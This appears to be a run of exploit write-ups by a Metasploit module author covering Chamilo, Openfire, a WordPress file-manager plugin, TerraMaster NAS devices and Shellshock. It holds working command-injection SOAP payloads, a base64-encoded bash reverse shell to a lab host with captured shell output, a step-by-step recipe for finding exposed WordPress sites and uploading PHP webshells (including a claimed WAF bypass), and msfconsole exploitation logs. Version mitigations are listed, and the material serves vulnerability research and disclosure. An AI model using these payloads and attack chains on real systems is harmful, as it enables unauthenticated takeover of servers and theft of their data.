will give you the list of Chamilo
installations running in the wild.
Chamilo
versions 1.11.18
and below suffers from an unauthenticated remote command execution vulnerability. Due to a functionality called Chamilo Rapid
to easily convert PowerPoint slides to courses on Chamilo
, it is possible for an unauthenticated remote attacker to execute arbitrary commands at OS level using a malicious SOAP request at the vulnerable endpoint /main/webservices/additional_webservices.php
.
It is a classical example of OS command injection (also known as shell injection) that allows an attacker to execute an arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data.
In the vulnerable file /main/webservices/additional_webservices.php
the function wsConvertPpt
that can be used to convert a PowerPoint file to courses on Chamilo
using a shell command . To use this feature, a SOAP request needs to be performed containing an URL pointing to the PowerPoint file.
In code excerpt below, you can easily identify the command line where the filename
is not properly filtered by the function, hence making it vulnerable to command injection when it is called by the exec()
function.
function wsConvertPpt($pptData) { global $_configuration; $ip = trim($_SERVER['REMOTE_ADDR']); // If an IP filter array is defined in configuration.php, // check if this IP is allowed if (!empty($_configuration['ppt2lp_ip_filter'])) { if (!in_array($ip, $_configuration['ppt2lp_ip_filter'])) { return false; } } $fileData = $pptData['file_data']; $dataInfo = pathinfo($pptData['file_name']); $fileName = basename($pptData['file_name'], '.'.$dataInfo['extension']); $fullFileName = $pptData['file_name']; $size = $pptData['service_ppt2lp_size']; $w = '800'; $h = '600'; if (!empty($size)) { list($w, $h) = explode('x', $size); } $tempArchivePath = api_get_path(SYS_ARCHIVE_PATH); $tempPath = $tempArchivePath.'wsConvert/'.$fileName.'/'; $tempPathNewFiles = $tempArchivePath.'wsConvert/'.$fileName.'-n/'; $oldumask = umask(0); //$perms = api_get_permissions_for_new_directories(); // Set permissions the most permissively possible: these files will // be deleted below and we need a parallel process to be able to write them $perms = api_get_permissions_for_new_directories(); pptConverterDirectoriesCreate($tempPath, $tempPathNewFiles, $fileName, $perms); $file = base64_decode($fileData); file_put_contents($tempPath.$fullFileName, $file); $cmd = pptConverterGetCommandBaseParams(); /* VULNERABLE CODE */ $cmd .= ' -w '.$w.' -h '.$h.' -d oogie "'.$tempPath.$fullFileName.'" "'.$tempPathNewFiles.$fileName.'.html"'; //$perms = api_get_permissions_for_new_files(); chmod($tempPathNewFiles.$fileName, $perms); $files = []; $return = 0; /* EXEC FUNCTION */ $shell = exec($cmd, $files, $return); umask($oldumask);
By using the SOAP request below, you can trigger the command injection replacing YOUR COMMAND
with any Unix OS command.
<?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://localhost:80/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <ns1:wsConvertPpt> <param0 xsi:type="ns2:Map"> <item> <key xsi:type="xsd:string">file_data</key> <value xsi:type="xsd:string"></value> </item> <item> <key xsi:type="xsd:string">file_name</key> <value xsi:type="xsd:string">`YOUR COMMAND`.pptx</value> </item> <item> <key xsi:type="xsd:string">service_ppt2lp_size</key> <value xsi:type="xsd:string">720x540</value> </item> </param0> </ns1:wsConvertPpt> </SOAP-ENV:Body> </SOAP-ENV:Envelope>
I did several tests on a Ubuntu 22.04 server with Chamilo 1.11.18
installed to see which command injections do work and I found three variants so far. Two blind command injections and one command injection that is not blind.
Blind variants:
<value xsi:type="xsd:string">`command`.pptx</value>
<value xsi:type="xsd:string">|" |command||a #`.pptx'</value>
Non blind variant:
<value xsi:type="xsd:string">`{{}}`.pptx'|" |command||a #</value>
Let’s quick demonstrate the non-blind command injection variant with burpsuite
on a vulnerable Chamilo
installation.
Burp request
POST /chamilo/main/webservices/additional_webservices.php HTTP/1.1 Host: 192.168.201.47 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Content-Type: text/xml; charset=utf-8 Content-Length: 1031 Connection: close <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="/chamilo" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <ns1:wsConvertPpt> <param0 xsi:type="ns2:Map"> <item> <key xsi:type="xsd:string">file_data</key> <value xsi:type="xsd:string"></value> </item> <item> <key xsi:type="xsd:string">file_name</key> <value xsi:type="xsd:string">`{{}}`.pptx'|" |echo cuckoo||a #</value> </item> <item> <key xsi:type="xsd:string">service_ppt2lp_size</key> <value xsi:type="xsd:string">1310x643</value> </item> </param0> </ns1:wsConvertPpt> </SOAP-ENV:Body> </SOAP-ENV:Envelope>
Burp Response
HTTP/1.1 200 OK Date: Fri, 28 Jul 2023 10:33:56 GMT Server: Apache/2.4.52 (Ubuntu) Set-Cookie: ch_sid=0doq0i6i2va7rf61bfq9ksg79u; path=/; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 620 Vary: Accept-Encoding Connection: close Content-Type: text/xml; charset=utf-8 <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://192.168.201.47/chamilo/main/webservices/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <ns1:wsConvertPptResponse> <return xsi:type="xsd:string"> a:2:{s:5:"files";a:1:{i:0;s:6:"cuckoo";}s:6:"images";a:1:{s:0:"";s:0:"";}} </return> </ns1:wsConvertPptResponse> </SOAP-ENV:Body> </SOAP-ENV:Envelope>
Now let’s do a proper command injection and spawn a remote shell.
Let’s take a bash reverse shell: bash -i >& /dev/tcp/192.168.201.10/4444 0>&1
To avoid any issues with bad characters, we will encode the payload with base64
and decode it again during execution.
# echo -n "bash -i >& /dev/tcp/192.168.201.10/4444 0>&1"|base64 YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS4xMC80NDQ0IDA+JjE= # nc -lnvp 4444 listening on [any] 4444 ...
bash reverse shell burp request
POST /chamilo/main/webservices/additional_webservices.php HTTP/1.1 Host: 192.168.201.47 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Content-Type: text/xml; charset=utf-8 Content-Length: 1084 Connection: close <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <ns1:wsConvertPpt> <param0 xsi:type="ns2:Map"> <item> <key xsi:type="xsd:string">file_data</key> <value xsi:type="xsd:string"></value> </item> <item> <key xsi:type="xsd:string">file_name</key> <value xsi:type="xsd:string">`{{}}`.pptx'|" |echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS4xMC80NDQ0IDA+JjE=|base64 -d|bash||a #</value> </item> <item> <key xsi:type="xsd:string">service_ppt2lp_size</key> <value xsi:type="xsd:string">1108x524</value> </item> </param0> </ns1:wsConvertPpt> </SOAP-ENV:Body> </SOAP-ENV:Envelope>
bash reverse shell
# nc -lnvp 4444 listening on [any] 4444 ... connect to [192.168.201.10] from (UNKNOWN) [192.168.201.47] 49682 bash: cannot set terminal process group (35632): Inappropriate ioctl for device bash: no job control in this shell www-data@cuckoo:/var/www/html/chamilo/main/inc/lib/ppt2png$ uname -a uname -a Linux cuckoo 5.15.0-76-generic #83-Ubuntu SMP Thu Jun 15 19:16:32 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux www-data@cuckoo:/var/www/html/chamilo/main/inc/lib/ppt2png$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@cuckoo:/var/www/html/chamilo/main/inc/lib/ppt2png$
For now, the OS command injection only works on linux/unix
based operating systems due to the use of the backtic ` operator.
Still playing around to find a Windows variant.
And as usual, there is a nice Metasploit module that does it all for you.
You can find the module here in my local repository or as PR 18233 at the Metasploit Github development.
This module has been tested on:
- Ubuntu Linux 22.04
- Chamilo 1.11.18
- PHP 7.4
Instructions for a vulnerable Chamilo installation on Ubuntu 22.04:
- Follow these instructions to download and install Ubuntu 22.04 server on VirtualBox.
- Follow these instructions to download and install LAMP on Ubuntu 22.04 server.
- Download Chamilo
1.11.18
release from here.
- Follow these instructions to install Chamilo.
Mitigation
Please update your Chamilo
application to version 1.11.20
or higher.
References
Randorisec advisory
CVE-2023-34960
Chamilo Unauthenticated RCE – h00die-gr3y Metasploit local repository
Metasploit PR 18233
Chamilo release downloads
Chamilo installation instructions
Credits
Technical Analysis
Openfire
(previously known as Wildfire, and Jive Messenger) is an instant messaging (IM) and groupchat server for the Extensible Messaging and Presence Protocol (XMPP). It is written in Java and licensed under the Apache License 2.0.
On May 26, 2023, Openfire's
administrative console, a web-based application, was found to be vulnerable to a path traversal attack via the setup environment using the path http://localhost:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/
. Endpoints such as log.jsp
, user-groups.jsp
and user-create.jsp
can be used to gain unauthorized admin access.
It allows an unauthenticated user to use the unauthenticated Openfire
Setup Environment in an already configured Openfire
environment to access restricted pages in the Openfire Admin Console
reserved for administrative users.
The vulnerability affects all versions of Openfire
that have been released since April 2015, starting with version 3.10.0
and is patched in Openfire
release 4.7.5
, 4.6.8
and 4.8.0
and later.
Reading the security advisory, it reminded me of a previous Openfire
vulnerability CVE-2008-6508 discovered in 2008 that faced a similar issue. There is even an existing Metasploit module available a.k.a. exploit\multi\http\openfire_auth_bypass
that exploits this vulnerability (see Metasploit PR 522).
With that in mind, it should be not too difficult to build a new variant that exploits the latest vulnerability CVE-2023-32315.
The attack sequence is quite simple:
- Grab the cookies using the path traversal vulnerability via
http://<IP>:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp
- Use the cookies to add an admin user using the path traversal vulnerability via
http://<IP>:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp
- Upload an Openfire plugin weaponized with a java payload triggering an RCE via endpoint
http://<IP>:9090/plugin-admin.jsp
. For step 3, you need understand how to create an customizedOpenfire
plugin which is described in more detail here.
And as usual, I took the liberty to code a nice Metasploit module that does it all for you.
You can find the module here in my local repository or as PR 18173 at the Metasploit Github development.
This module has been tested on:
Ubuntu Linux 22.04
- Openfire 3.10.1, 4.0.4, 4.1.0, 4.2.0, 4.3.0, 4.4.0, 4.5.0, 4.6.0. 4.7.0, 4.7.1, 4.7.3
- Java 7, 8, 17
Windows Server 2019 Datacenter
- Openfire 4.7.3
- Java 20
You can setup your own testing environment by following the instructions below.
Instructions for an Openfire installation:
Download Openfire releases here.
Follow installation instructions here.
Mitigation
Please update your Openfire
application to version 4.8.0
or higher and or upgrade to the patched versions 4.7.5
or 4.6.8
.
References
Igniterealtime Security Advisory
CVE-2023-32315
Openfire Authentication Bypass RCE – h00die-gr3y Metasploit local repository
Metasploit PR 18173
Openfire plugin development
Openfire release downloads
Openfire installation instructions
Technical Analysis
WordPress
is one of the most used web application platforms on the Internet with million and million of installations. The platform provides a huge amount of content with so called plugins that enables certain functionality such as payment services, file managers, web forms, security and much more.
It is on one side great to have such rich functionality available in the platform, but the downside is that these plugins can also trigger a lot of vulnerabilities.
And indeed, the WordPress
platform has become infamous for the huge amount of vulnerabilities introduced at the platform over the last couple of years.
This writeup is a perfect example where a plugin File Manager Advanced
and an add-on File Manager Advanced Shortcode
introduced a vulnerability where an unauthenticated malicious actor can upload a webshell and execute payloads that provides unauthorized access to the operating system below.
Let me first explain a bit what a shortcode
is in the WordPress
world.
A shortcode
is a specially formatted text tag that opens and closes with square brackets and can be placed directly in a post or a page of your blog. This tag is automatically interpreted by WordPress
and allows you to add features without having to program code. You can recognize a shortcode
section by seeing brackets like [this]
, that performs a dedicated function on your site. You can place it just about anywhere you’d like, and it will add a specific feature to your page, post, or other content. For example, you can use shortcodes to display galleries, videos, or even playlists.
WordPress
has several plugins that delivers specific functionality that you can use and the File Manager Advanced Shortcode
plugin is one of these features that allows you to code File Manager Advanced
functionality on a page or post using shortcodes.
The section below shows an example of a shortcode using the File Manager Advanced Shortcode
plugin that allows you to upload or download files depending on the shortcode
configuration. For instance, at the example below a login is required to upload or download files (authenticated).
[file_manager_advanced login="yes" roles="author,editor,administrator" path="wp-content" hide="plugins" operations="download,upload" block_users="5" view="grid" theme="light" lang ="en" upload_allow="image/png" upload_max_size="2G"]
and the shortcode
will provide the file manager functionality on the page below when published.
.
So far, so good, but what is now exactly the issue with this plugin?
To understand this a bit better, let’s first explore what is happening under the hood if we upload a small png
file (ruby.png).
We will capture the HTTP
request and response with burpsuite
.
The actual upload happens with a POST
request and form data that is shown below.
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1 Host: 192.168.201.10 Content-Length: 2502 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1vP3o9u9S2AIn7Ex Accept: */* Origin: http://192.168.201.10 Referer: http://192.168.201.10/wordpress/index.php/fma-auth/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: wordpress_bbdf06293059980896f1ee8c0e8b218c=admin%7C1688056648%7CB7maHYtYiY720ai72sOLpfz8j0hSdisDFJqvoSYsqgK%7C690658a3c5dab7494d7840e3d4ecfdfdf17494f6ae163a3fd3ac8093e1529784; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_bbdf06293059980896f1ee8c0e8b218c=admin%7C1688056648%7CB7maHYtYiY720ai72sOLpfz8j0hSdisDFJqvoSYsqgK%7C5666c9036374c0c892b17a6abaf647dc5baf618ca489084627fde0df45b80d8f; wfwaf-authcookie-dd668d04efe9e4ab71eb81bd40139a86=1%7Cadministrator%7Cmanage_options%2Cunfiltered_html%2Cedit_others_posts%2Cupload_files%2Cpublish_posts%2Cedit_posts%2Cread%7C0f200eccb75504c01e48ae0344893dd5df62a8aad161c24058089881c58bfbfc; PHPSESSID=2csqd51ghug6138llcu5dtskjm Connection: close ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="reqid" 188fdc67f782e3 ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="cmd" upload ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="target" l1_Lw ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="action" fma_load_shortcode_fma_ui ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="_fmakey" d2ef442bd5 ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="path" wp-content ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="url" ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="w" false ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="r" true ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="hide" plugins ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="operations" download,upload ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="path_type" inside ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="hide_path" no ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="enable_trash" no ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="upload_allow" image/png ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="upload_max_size" 2G ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="upload[]"; filename="ruby.png" Content-Type: image/png PNG <PNG content> ------WebKitFormBoundary1vP3o9u9S2AIn7Ex Content-Disposition: form-data; name="mtime[]" 1687884791 ------WebKitFormBoundary1vP3o9u9S2AIn7Ex--
The question is of course, what will happen if we start manipulating the parameters in the form data and issue a POST request again.
Will that work?
Lets try an LFI, by manipulating the path
parameter which is set to wp-content
directory but will be set to empty (basically set to the wordpress root directory).
Surprise, surprise !!!!
ruby.png get nicely uploaded in the wordpress root directory.
HTTP/1.1 200 OK Date: Tue, 27 Jun 2023 17:13:33 GMT Server: Apache/2.4.57 (Debian) Access-Control-Allow-Origin: http://192.168.201.10 Access-Control-Allow-Credentials: true X-Robots-Tag: noindex X-Content-Type-Options: nosniff Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Referrer-Policy: strict-origin-when-cross-origin X-Frame-Options: SAMEORIGIN Pragma: no-cache Set-Cookie: PHPSESSID=h7komipqhl6l43bfq0beqgi23f; path=/ Content-Length: 1742 Connection: close Content-Type: application/json; charset=utf-8 {"added":[ { "isowner":false, "ts":1687886014, "mime":"image\/png", "read":1, "write":1, "size":"592", "hash":"l1_cnVieS5wbmc", "name":"ruby.png", "phash":"l1_Lw", "tmb":1, "url":"http:\/\/192.168.201.10\/wordpress\/ruby.png" } ],
What if we try to bypass authentication by removing the cookies. Will that work?
Of course, the file gets nicely uploaded again.
Last but not least, can manipulate the mime-types to upload PNG images files with embedded PHP code that we can execute.
And again the answer is yes. See this video on YouTube
.
Basically, you can manipulate all parameters as long as you have the _fmakey
. This is the only parameter that needs to be set to issue a POST
request that allows for all kind of operations, like upload, download and others.
What is exactly this _fmakey
and more important, where do we find it?
I could not find much on this key, but we need to set this key to get the POST
request satisfied.
Man would think that it would be encrypted during runtime with a complex encryption algorithm, but the reality is much simpler.
The _fmakey
and its value is stored on the web page where File Manager Advanced shortcode functionality is embedded. With view source you can easily find it on the web page (see the excerpt below).
<script src='http://192.168.201.10/wordpress/wp-content/plugins/file-manager-advanced-shortcode/js/shortcode.js?ver=6.2.2' id='file_manager_advanced-fma-shortcode-js-js'></script> <script id='file_manager_advanced-fma-shortcode-js-js-after'> jQuery(document).ready(function(){ var afmui = ['toolbar', 'tree', 'path', 'stat']; var fma_ui_opt = ''; if(fma_ui_opt != '') { var fmui_params = fma_ui_opt; if(fmui_params == 'files') { var afmui = []; } else var afmui = fmui_params.split(','); } jQuery('#file_manager_advanced').elfinder( { cssAutoLoad : false, url : 'http://192.168.201.10/wordpress/wp-admin/admin-ajax.php', lang: 'en', defaultView : 'grid', dateFormat : 'M d, Y h:i A', customData : {action: 'fma_load_shortcode_fma_ui', _fmakey: 'd2ef442bd5', path:'wp-content', url: '', w: 'false', r: 'true', hide: 'plugins', operations: 'download,upload', path_type: 'inside', hide_path: 'no', enable_trash: 'no', upload_allow: 'image/png', upload_max_size: '2G', }, height: '', width: '', ui: afmui, }); }); </script>
For older versions of the plugin, you have to search for the _fmakey
on the page embedded in the fmaatts var
.
var fmaatts = {"ajaxurl":"http:\/\/192.168.201.55\/wp-admin\/admin-ajax.php","lang":"us","view":"grid","dateformat":"M d, Y h:i A","action":"fma_load_shortcode_fma_ui","fmakey":"92b7949dd9","path":"wp-content\/uploads\/musicfiles","url":"","w":"false","r":"true","hide":"plugins","operations":"all","path_type":"inside"};
Well, how easy can you make it for an attacker to craft a POST
request that uploads a malicious file with payload that can be executed.
I would say, DEAD EASY!!!
The steps are simple.
- Find
WordPress
web sites with pages where the_fmakey
is embedded (TIP: use a Source Code Search Engine like PublicWWW).
- Retrieve the
_fmakey
.
- Craft a
POST
request that uploads a malicious PNG file with PHP code embedded by using the_fmakey
and manipulating thecmd
,operations
andmime-types
parameters.
- Execute the malicious PNG file and enjoy a
reverse shell
ormeterpreter
.
Of course, I took the liberty to code a nice Metasploit module that does it all for you.
You can find the module here in my local repository or as PR 18142 at the Metasploit Github development.
I have tested the module on a WordPress
base installation version 6.2.2
on Linux
and Windows Server 2019
with File Manager Advanced 5.0.5
and File Manager Advanced Shortcode 2.3.2
installed. Works as a charm…
Also tested the module with a basic setup of WordFence
and it bypassed the WAF
as far as I could test it.
Mitigation
Please update your File Manager Advanced
plugin to version 5.1
or higher and update the File Manager Advanced Shortcode
plugin to version 2.4
or higher.
References
WPScan advisory
File Manager Advanced Shortcode RCE – h00die-gr3y Metasploit local repository
Metasploit PR 18142
Exploit DB
Packet Storm
Credits
Mateus Machado Tesser
Discovery
Technical Analysis
This is the third exploit a.k.a. TerrorMaster 3
targeting TerraMaster NAS devices running TerraMaster Operating System (TOS) 4.2.29
or lower.
Octagon Networks published in March 2022 an analysis CVE-2022-24990: TerraMaster TOS unauthenticated remote command execution via PHP Object Instantiation explaining a chain of vulnerabilities that makes all TerraMaster NAS servers running TOS version 4.2.29
and lower vulnerable for an unauthenticated RCE.
It basically combines CVE-2022-24990: Leaking sensitive information and CVE-2022-24989: Authenticated remote code execution to achieve an unauthenticated RCE by exploiting vulnerable endpoint api.php?mobile/webNasIPS
leaking sensitive information such as admin password hash and mac address to achieve unauthenticated access and use the vulnerable endpointapi.php?mobile/createRaid
with POST
parameters raidtype
/ diskstring
to execute remote code as root on TerraMaster NAS devices.
As usual, you can find the third module here in my local repository or as PR 18086 submitted at the Metasploit Github development.
With release of TOS 5.x
, all of these vulnerabilities are now mitigated, but I would not be surprised that in the near future, some new exploits will come to surface looking back at the ugly history of TerraMaster flaws in the past.
Mitigation
Please update your TOS version
up to the latest supported TOS 4.2.x
version or TOS 5.x
version to be protected against all known vulnerabilities and do NOT to expose your TerraMaster NAS devices directly to the Internet.
References
CVE-2022-24990: TerraMaster TOS unauthenticated remote command execution via PHP Object Instantiation
POC 0xf4n9x
CVE-2022-24990
CVE-2022-24989
TerrorMaster 3 – h00die-gr3y Metasploit local repository
TerrorMaster 3 – Metasploit PR 18086
TerrorMaster 1
TerrorMaster 2
Credits
Octagon Networks
0xf4n9x
Technical Analysis
This the second module in the sequel of TerrorMaster
releases.
TerrorMaster 2
is based on the vulnerability analysis work of n0tme
that was conducted in December 2021 during Christmas time.
N0tme
discovered a few new vulnerabilities on the TerraMaster F2-210 and F4-210 model and chained them together into an unauthenticated RCE.
The full analysis can be found here How to summon RCEs.
In this article, I will only quickly summarize the RCE chain and introduce the Metasploit module.
The Terramaster chained exploit uses session crafting to achieve escalated privileges that allows an attacker to access vulnerable code execution flaws. TOS versions 4.2.15
and below are affected.
CVE-2021-45839 is exploited to obtain the first administrator’s hash set up on the system as well as other information such as MAC address, by performing a POST
request to the /module/api.php?mobile/webNasIPS
vulnerable endpoint.
This information is used to craft an unauthenticated admin session using CVE-2021-45841 where an attacker can self-sign session cookies by knowing the target MAC address and the user password hash.
Guest users (disabled by default) can be abused using a null/empty hash and allow an unauthenticated attacker to login as guest. This is used to download the /etc/group
info to obtain the list of admin users, used to establish an unauthenticated admin session thru session crafting..
Finally, CVE-2021-45837 is exploited to execute arbitrary commands as root by sending a specifically crafted input to vulnerable endpoint /tos/index.php?app/del
.
I slightly modified the original POC where the vulnerable endpoint /module/api.php?mobile/wapNasIPS
was used to obtain the admin hash. In some cases, it did not provide this info, whilst endpoint /module/api.php?mobile/webNasIPS
has proven to be more reliable.
As usual, you can find the module here in my local repository or as PR 18070 at the Metasploit Github development.
Mitigation
Please update your TOS version
up to the latest supported TOS 4.2.x
version or TOS 5.x
version to be protected against all known vulnerabilities and do NOT to expose your TerraMaster NAS devices directly to the Internet.
References
How to summon RCEs by n0tme
CVE-2021-45839
CVE-2021-45841
CVE-2021-45837
TerrorMaster 2 – h00die-gr3y Metasploit local repository
TerrorMaster 2 – Metasploit PR 18070
TerrorMaster 1
TerrorMaster 3
Credits
N0tme
Technical Analysis
Last two weeks, I spent some time on a TerraMaster F2-221 NAS server that I got from an old friend running TerraMaster Operating System (TOS) 4.x.
Research on the Internet shows that this server is full with vulnerabilities up to TOS 4.2.29
. Surprisingly, no Metasploit
modules were made to exploit these NAS servers and there are still plenty of vulnerable NAS servers connected to the Internet.
So I took the liberty to write three nice modules that exploits these NAS servers targeting different vulnerabilities.
This article is covering the first of three modules, called TerrorMaster 1
like we do with “good” movies released in the cinema. You can find the articles on TerrorMaster 2
here and TerrorMaster 3
here.
In December 2020, the IHTeam reported multiple vulnerabilities on TerraMaster NAS devices running TOS version 4.2.06
or lower.
You can read their analysis/advisory here.
TerrorMaster 1
is exploiting a vulnerability described in CVE-2020-35665 or CVE-2020-28188 that allows an unauthenticated attacker to create /upload a webshell via shell metacharacters in the Event
parameter using the vulnerable endpoint include/makecvs.php
during the CSV
creation process.
You can find the module here in my local repository or as PR 18063 at the Metasploit Github development.
Mitigation
Please update your TOS version
up to the latest supported TOS 4.2.x
version or TOS 5.x
version to be protected against all known vulnerabilities.
I strongly advice NOT to expose your TerraMaster NAS devices directly to the Internet, because you could end-up in a situation depicted below where your server has become a victim of ransomware.
.
References
IHTeam advisory
TerrorMaster 1 – h00die-gr3y Metasploit local repository
TerrorMaster 1 – Metasploit PR 18063
TerrorMaster 2
TerrorMaster 3
Credits
IHTeam
Technical Analysis
An Golden Oldie
from 2014 that is still very relevant nowadays.
In my recent research of security vulnerabilities, I bumped into several targets that were still vulnerable to CVE-2014-6271 a.k.a. Shellshock
and CVE-2014-6278. You should not be surprised that most of these targets are IoT based with an embedded Linux/Unix image running a vulnerable bash
version. They typically do not get updated at all and are easy targets for a malicious actor to find an entry point into the network.
Metasploit modules like exploit/multi/http/apache_mod_cgi_bash_env_exec
, are pretty restricted to launch an attack due to the limited platform support (only x86) and payloads that can be leveraged in an attack. This brought me to rewrite this module a bit so that it would support multiple platforms (ARM, x86, x64, MIPS) and multiple payloads such as Unix command
and Linux Dropper
. The module name is multi/http/bash_env_cgi_rce
.
To test the module locally, you download a vulnerable bash
version from https://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz. Any version published before September 2014 is okay. Just extract it in a local directory and compile it with ./configure && make
.
Configure an Apache
or any other preferred web server to support CGI
scripts. You can find tons of instructions on the web how to do that.
Just create a script like below using the vulnerable bash
version and add this to the cgi-bin
directory of your preferred web server.
#!/bin/bash_CVE_2014_6271 echo "Content-type: text/plain" echo echo echo "Hello World"
Download module from here and follow the install instructions.
Start msfconsole
and play around with the different options and payloads.
msf6 > use exploits/multi/http/bash_env_cgi_rce [*] Using configured payload cmd/unix/reverse_bash msf6 exploit(multi/http/bash_env_cgi_rce) > options Module options (exploit/multi/http/bash_env_cgi_rce): Name Current Setting Required Description ---- --------------- -------- ----------- CVE Automatic yes CVE to check/exploit (Accepted: Automatic, CVE-2014-62 71, CVE-2014-6278) HEADER User-Agent yes HTTP header to use METHOD GET yes HTTP method to use PAYLOADSIZE 2048 yes Payload size used by the CmdStager Proxies no A proxy chain of format type:host:port[,type:host:port ][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/do cs/using-metasploit/basics/using-metasploit.html RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI yes Path to CGI script URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This mus t be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. Payload options (cmd/unix/reverse_bash): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Unix Command View the full module info with the info, or info -d command. msf6 exploit(multi/http/bash_env_cgi_rce) > set rhosts 192.168.201.10 rhosts => 192.168.201.10 msf6 exploit(multi/http/bash_env_cgi_rce) > set targeturi /cgi-bin/test.cgi targeturi => /cgi-bin/test.cgi msf6 exploit(multi/http/bash_env_cgi_rce) > check [*] Target is vulnerable for CVE-2014-6271. [*] Target is vulnerable for CVE-2014-6278. [+] 192.168.201.10:80 - The target is vulnerable. msf6 exploit(multi/http/bash_env_cgi_rce) > set lhost 192.168.201.10 lhost => 192.168.201.10 msf6 exploit(multi/http/bash_env_cgi_rce) > set lport 4444 lport => 4444 msf6 exploit(multi/http/bash_env_cgi_rce) > exploit [*] Started reverse TCP handler on 192.168.201.10:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Target is vulnerable for CVE-2014-6271. [*] Target is vulnerable for CVE-2014-6278. [+] The target is vulnerable. [*] Executing Unix Command for cmd/unix/reverse_bash using vulnerability CVE-2014-6271. [*] Command shell session 1 opened (192.168.201.10:4444 -> 192.168.201.10:35766) at 2023-05-21 15:01:17 +0000 id uid=33(www-data) gid=33(www-data) 